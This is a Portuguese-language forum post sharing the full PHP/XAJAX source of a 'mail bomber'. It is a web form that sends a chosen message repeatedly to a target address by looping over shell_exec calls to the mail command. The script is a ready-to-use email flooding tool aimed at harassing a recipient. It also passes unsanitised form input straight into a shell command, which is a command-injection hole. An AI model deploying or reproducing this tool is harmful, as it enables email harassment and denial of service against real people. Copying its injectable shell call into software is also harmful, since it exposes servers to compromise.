Mail BomBer 1.0
Publicado por Thiago Fernandes de Melo 16/08/2006
[ Hits: 5.811 ]
Homepage: http://www.hospedarfacil.com.br
Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.
<? require_once("xajax.inc.php"); function limp() { $objResponse = new xajaxResponse(); if($a['qts'] < 100) $Resposta = ""; $objResponse->addAssign("checando","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function check($a) { $objResponse = new xajaxResponse(); if($a['qts'] > 10) $Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>"; $objResponse->addAssign("checando","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function checkdestino($a) { $objResponse = new xajaxResponse(); if($a['destino'] == "") $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>"; $objResponse->addAssign("checando1","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function checkassunto($a) { $objResponse = new xajaxResponse(); if($a['assunto'] == "") $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>"; $objResponse->addAssign("checando2","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function flood($a) { $objResponse = new xajaxResponse(); $Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " "; $objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true))); return $objResponse->getXML(); } /////////////////////////////////////////////////// function fdnow($a) { $objResponse = new xajaxResponse(); $s = $a['qts']; $as = $a['assunto']; $dss = $a['msg']; $ds = $a['destino']; for($i = 0; $i<$s;$i++){ $Send[$i] = "Enviando " .$i. " de " .$s. ""; shell_exec("echo $as |mail -s $dss $ds"); } $objResponse->addAssign("fding","innerHTML", print_r($Send, true)); return $objResponse->getXML(); } /////////////////////////////////////////////////// $xajax = new xajax(); $xajax->registerFunction("flood"); $xajax->registerFunction("check"); $xajax->registerFunction("checkdestino"); $xajax->registerFunction("checkassunto"); $xajax->registerFunction("limp"); $xajax->registerFunction("fdnow"); $xajax->processRequests(); ?> <html> <head> <? $xajax->printJavascript(); ?> </head> <body> <form name=tx><table> <tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr> <tr><td>Assunto:</td><td><input type=text name=assunto onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr> <tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr> <tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr> <tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table> <tr><td><div id="fding">Aguardando...</div></td></tr> </form> </body> </html>
Leitura de planilhas com PhpSpreadsheet
Monitoramento simples de servidores [versão 1.0]
Gerenciador para QEMU, em PHP-CLI
Nenhum comentário foi encontrado.
Agora temos uma assistente virtual no fórum!!! (247)
Manutenção de sistemas Linux Debian e derivados com apt-get, apt, aptitude e dpkg
Melhorando o tempo de boot do Fedora e outras distribuições
Como instalar as extensões Dash To Dock e Hide Top Bar no Gnome 45/46
Como Atualizar Fedora 39 para 40
Instalar Google Chrome no Debian e derivados
Consertando o erro do Sushi e Wayland no Opensuse Leap 15
Instalar a última versão do PostgreSQL no Lunix mantendo atualizado
Flathub na sua distribuição Linux e comandos básicos de gerenciamento
redirecionando saida de comando touch para o AWK[AJUDA] (4)
Microfone do meu headset não é recinhecido. Meu notebook é um Acer Asp... (1)
iso de sistema 32 bit em atividade (18)